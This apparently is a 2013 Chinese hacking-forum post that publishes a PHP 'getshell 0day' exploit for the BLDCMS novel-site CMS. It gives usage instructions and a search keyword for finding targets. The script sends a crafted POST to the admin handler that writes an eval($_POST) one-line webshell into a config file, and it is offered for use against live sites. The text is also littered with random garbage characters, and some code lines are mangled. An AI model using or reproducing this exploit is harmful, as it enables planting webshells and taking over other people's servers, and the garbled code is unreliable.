中国网络渗透测试联盟

标题: BLDCMS(白老大小说) Getshell 0day EXP [打印本页]

作者: admin    时间: 2013-3-26 20:49
标题: BLDCMS(白老大小说) Getshell 0day EXP
之前想搞一个黑阔站 发现旁站有一个站用了BLDCMS 我就下载看了.. 找到了一个getshell漏洞/ |9 A3 H6 y: v0 g5 Z5 R& C. w
( V# G0 c  B( v) K: h6 G0 S
* p7 @! Z3 [/ N( |& c1 _
话说昨晚晴天小铸在90sec发现有人把这getshell漏洞的分析发出来了 擦 居然被人先发了
6 Q  P2 h& t* x! `0 ~ ' f0 X9 b  s, L- @: h/ ?. j% I
既然都有人发了 我就把我之前写好的EXP放出来吧
# j" d% x2 S) D* w* D1 I7 q: ]5 t
' [( j0 q8 M1 V2 I2 X1 X4 l6 r" _5 Dview source print?01.php;">
) _6 @$ K9 @2 E02.<!--?php- K7 j8 H  [" F# @
03.echo "-------------------------------------------------------------------
1 ]# W7 _0 e+ T' C# `04. 9 W6 y' k# x$ F) L! Q# Q4 i# u
05.------------\r\n              BLDCMS(白老大php小说小偷) GETSHELL 0DAY EXP* O7 {/ q8 E& j; E$ l  Q% h* h0 A
06. - }( |; u  p; T1 J! L
07.(GPC=Off)\r\n            Vulnerability discovery&Code by 数据流@wooyun. q% A  ]0 D6 g
08.
" }1 p& `6 I9 C) [6 ?3 e% p9 u09.QQ:981009941\r\n                                2013.3.21\r\n            
) Q6 N0 d! b$ s! \% c9 l! U10. . O* V7 }& X4 ?! `! V
11. $ }' r* b# @6 b' ^
12.用法:php.exe EXP.php www.baidu.com /cms/ pass(一句话密码
4 R. h# `6 m$ p$ C0 X$ I6 }5 n13. : S: Z# P2 a4 U2 }
14.)\r\n                    搜索关键字:\"开发者: 白老大小说\"\r\n-----------
; }  i( B' Z) }# s% T$ I15.
- S3 n: d. }2 P; o, v& |16.--------------------------------------------------------------------\r\n";
* O3 s/ x6 O! w, F! P) h3 N17.$url=$argv[1];
6 _2 R8 q3 W: l! Y. B18.$dir=$argv[2];
: [3 l6 M9 E/ S# |4 ?1 e  `. ?" |19.$pass=$argv[3];) A0 X: f7 a7 b! s6 K4 ^6 I
20.$eval='\';eval($_POST['.'"'.$pass.'"'.']);\'';
" X7 U8 S* ]/ l8 {' i4 Y21.if (emptyempty($pass)||emptyempty($url))
5 s% K* J2 }* v6 u: q8 {* g; S22.{exit("请输入参数");}9 V  t! ?' f: j$ b. x& {
23.else' @" L1 s- \- [# M: c( W
24.{
4 q( q  P/ a" D& A; C25.$fuckdata='sitename=a&qq=1&getcontent=acurl&tongji=a&cmsmd5=1&sqlite='.$ev; f0 y+ o% O2 b$ [) R/ U: r
26.
( M! _& _' {$ v2 |( F, `27.al;
( L; r' P9 |2 h2 M, `0 }28.$length = strlen($fuckdata);
) ]! K2 p$ V9 v" b29.function getshell($url,$pass)
, o2 I$ V- j7 Q4 }  g30.{6 j- Z5 N9 t9 x8 M! n) c
31.global $url,$dir,$pass,$eval,$length,$fuckdata;
5 M$ L( }7 ~/ [& I4 `6 Y; T: ~( V32.$header = "OST /admin/chuli.php?action=a_1 HTTP/1.1\r\n";# H5 i7 F3 @0 i+ \. `2 ~, K
33.$header .= "Content-Type: application/x-www-form-urlencoded\r\n";0 J& j( e9 }) [/ A
34.$header .= "User-Agent: MSIE\r\n";
3 n4 f1 k5 o% Y$ e35.$header .= "Host:".$url."\r\n";# _) H! s' J2 ]8 R
36.$header .= "Content-Length: ".$length."\r\n";
3 X. @* I3 B' L& b7 U4 @37.$header .= "Connection: Close\r\n";6 J: D8 ^- ^7 r) ?! W  I' T
38.$header .="\r\n";) c: U2 _( b8 e. H
39.$header .= $fuckdata."\r\n\r\n";
5 E4 p, k4 w0 X& b! R40.$fp = fsockopen($url, 80,$errno,$errstr,15);; r  X: ^5 Z+ w8 I4 D
41.if (!$fp)
7 {! U6 j2 Y% `- G42.{) S- q9 v0 v$ z) J/ o/ d* K' `
43.exit ("利用失败:请检查指定目标是否能正常打开");; g5 `/ n" h% W% M' E
44.}; s" [: x* i* J2 ^
45.else{ if (!fputs($fp,$header))
7 m' L$ h! J, V* b& {6 U+ J46.{exit ("利用失败");}
# I$ Q! S% P/ ?% h1 }5 b8 }47.else  E* V! J5 j. V& M; f
48.{
8 s* D, k& q0 E4 }0 X% t49.$receive = '';
8 }' O% ^9 k2 m50.while (!feof($fp)) {" ?7 W4 ^2 m, h
51.$receive .= @fgets($fp, 1000);
# _2 K! ~. I8 j52.}' G* n! h- r$ S. ^; q" b8 r* E
53.@fclose($fp);
! W, l) W' ?( I1 Y7 |& A- G6 S54.echo "$url/$dir/conn/config/normal2.php passpass(如连接失败 请检查目标5 z" i  D3 A) ~5 s  g( s6 z
55. $ D2 k* G8 f3 v6 f
56.GPC是否=off)";. V) J2 w- a4 f4 S% z; d7 F
57.}}; H$ r/ t9 Y5 Y9 ^# H1 g9 t' l7 M
58.}( p" l1 `: v; e
59.}
& j" M1 e2 q* H' x60.getshell($url,$pass);
; T! ?/ S! R  Y6 S& h, q6 q61.?-->: F3 O# r4 \( z

; @+ W7 U5 d+ k* I; z5 p7 S
7 W. c3 g3 x  G+ W2 v" y
, ?* V: N& o9 {) ?- S8 A6 _, Sby 数据流
& ~! s4 e' Q+ ?5 h5 P% n. N




欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2